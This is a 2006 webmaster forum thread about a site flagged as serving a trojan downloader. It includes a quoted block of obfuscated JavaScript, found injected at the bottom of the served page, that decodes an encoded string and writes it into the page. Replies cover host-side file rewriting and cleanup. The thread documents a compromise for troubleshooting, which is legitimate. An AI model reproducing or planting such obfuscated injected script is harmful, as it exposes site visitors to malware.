www.ethnichoes.com loads trojan-downloader.html.agent.aq with internet explorer. any ideas why? is my system infected & producing/uploading infected files to my web host?
-
-
How about im NOT gonna check. -
lol, people with a trojan detector can view my site safely. i'm using kaspersky & it picks it up. don't be sccaarreed.
Last edited by eMonk; 05-14-2006, 07:48 AM.Comment
-
This code is at the bottom of your page, looks familiar..
Code:<script language="JavaScript"> e = '0x00' + '22';str1 = "%99%C1%CA%D7%BD%D0%D1%DA%C9%C6%9E%83%D7%CA%D0%CA%C3%CA%C9%CA%D1%DA%9B%C5%CA%C1%C1%C6%CF%83%9F%99%CA%C7%D3%C2%CE%C6%BD%D0%D3%C0%9E%83%C5%D1%D1%CD%9B%8C%8C%C1%CF%D7%8E%C0%CC%D6%CF%D1%C6%D3%8F%C0%CC%CE%8C%D1%D3%C7%8C%83%BD%D4%CA%C1%D1%C5%9E%92%BD%C5%C6%CA%C4%C5%D1%9E%92%9F%99%8C%CA%C7%D3%C2%CE%C6%9F%99%8C%C1%CA%D7%9F%BD%AE%AB";str=tmp='';for(i=0;i<str1.length;i+=3){tmp = unescape(str1.slice(i,i+3));str=str+String.fromCharCode((tmp.charCodeAt(0)^e)-127);}document.write(str); </script>Comment
-
good find quickdraw...
that code isn't in my orginal html file. only in the final produced html file on my web host. i'll look into this more now.Comment
-
Not gonna click it to find out heh.
Comment
-
Have you tried contacting your webhost at all?Originally posted by MUNK
See how woman just give me their Money! you too can make easy money with GGWCash. join off my sig and get a free GGW Trucker hat or shirt now!
http://www.ggwcash.com/?wmid=957
Also when you get a chance check out www.PornoPushers.com
ICQ: 161759738 AIM:RemoteRogerComment
-
nope, should i?Originally posted by RogerV10
Comment
-
i'm going to contact them now.Comment
-
I ve the same problem on one of my sites , can u please tell me how you solved it?Comment
-
bookmark this thread tapaz & check back often. i will post the solution when i have it figured out (or someone else here). let us also know if you find a working solution to this problem.Originally posted by TapazLast edited by eMonk; 05-14-2006, 10:04 AM.Comment
-
the problem is on your host not you.. there is a file rewriting your files on your hosthatisblack at yahoo.comComment
-
Looks like it ended up in your toplist html. Check and see if the code is in your toplist template.I like pie.Comment
-
sometimes they set it to a cron job so it rewrites them at selected time intervals like every hour , so if you upload a clean version and come back it will have rewritten over ithatisblack at yahoo.comComment
-
Got Hijacked“If you can convince the lowest white man he’s better than the best colored man, he won’t notice you’re picking his pocket. Hell, give him somebody to look down on, and he’ll empty his pockets for you.”Comment
-
BINGO!Originally posted by Babaganoosh
Comment
-
so what to do?Comment
-
any news? Solutions?Comment
-
I solved it they puttes codes in my files , I deleted it , and I ll check is all ok in the next future...Comment
Comment